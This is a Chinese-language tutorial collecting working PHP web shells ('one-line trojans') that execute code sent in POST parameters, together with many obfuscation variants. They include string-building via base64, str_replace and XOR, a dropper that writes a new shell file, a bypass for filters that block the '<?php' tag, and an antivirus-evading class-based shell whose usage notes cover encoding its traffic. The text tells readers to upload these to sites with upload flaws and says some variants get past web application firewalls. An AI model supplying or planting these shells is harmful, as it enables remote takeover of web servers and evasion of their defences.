文章目录
初始的一句话木马
<?php @eval($_POST['juminfo']);?> <?php @assert($_POST['juminfo']);?>找到具有上传漏洞的站点,将该脚本上传,并访问。发现是一片空白,可以说明该木马能被解析。
create_function函数
<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>
把用户传递的数据生成一个函数fun(),然后再执行fun()。
call_user_func函数
<?php
@call_user_func(assert,$_POST['juminfo']);
?>
call_user_func这个函数可以调用其它函数,被调用
的函数是call_user_func的第一个函数
,被调用的函数
的参数是call_user_func的第二个参数
。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。
preg_replace函数
<?php
@preg_replace("/abcde/e", $_POST['juminfo'], "abcdefg");
?>
这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式
,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”
,那么这个函数的第二个参数
就会被当作代码执行
。
file_put_contents函数
<?php
$test='<?php $a=$_POST["juminfo"];assert($a); ?>';
file_put_contents("hello.php", $test);
?>
使用方法:先用浏览器访问,生成新的文件"hello.php",再连接"hello.php"。
利用函数生成文件,第一个参数是文件名,第二个参数是文件的内容。
PHP变量函数
<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>
第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。
PHP可变变量
<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>
通过上一个语句进行的多一层变化:$$a = ( ( (a) = $ (‘bb’) = $bb = “assert”
str_replace函数
<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>
在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。
base64_decode函数
<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>
这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。
"."操作符
<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>
运算符变形
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
用echo打印出三个变量$_++、$__、$___
可以看到他们的值分别为1、_GET、_POST
,放入最后一条语句中刚好组成一个两层的一句话木马。
<?php $_GET[0]($_POST[1])?>
只要我们将0赋值为assert就可以构成经典的一句话<?php assert($_POST[1])?>,密码是1。
<?php被过滤
<script language="php">@eval($_POST['cmd'])</script>
免杀php一句话
<?php
class VONE {
function HALB() {
$rlf = 'B' ^ "\x23";
$fzq = 'D' ^ "\x37";
$fgu = 'h' ^ "\x1b";
$sbe = 'R' ^ "\x37";
$gba = 'H' ^ "\x3a";
$oya = 'Y' ^ "\x2d";
$MWUC = $rlf . $fzq . $fgu . $sbe . $gba . $oya;
return $MWUC;}function __destruct() {
$RNUJ = $this->HALB();
@$RNUJ($this->HY);}}
$vone = new VONE();
@$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6'];
?>
使用说明
是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php
POST: mr6=phpinfo(); //与普通shell相同
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码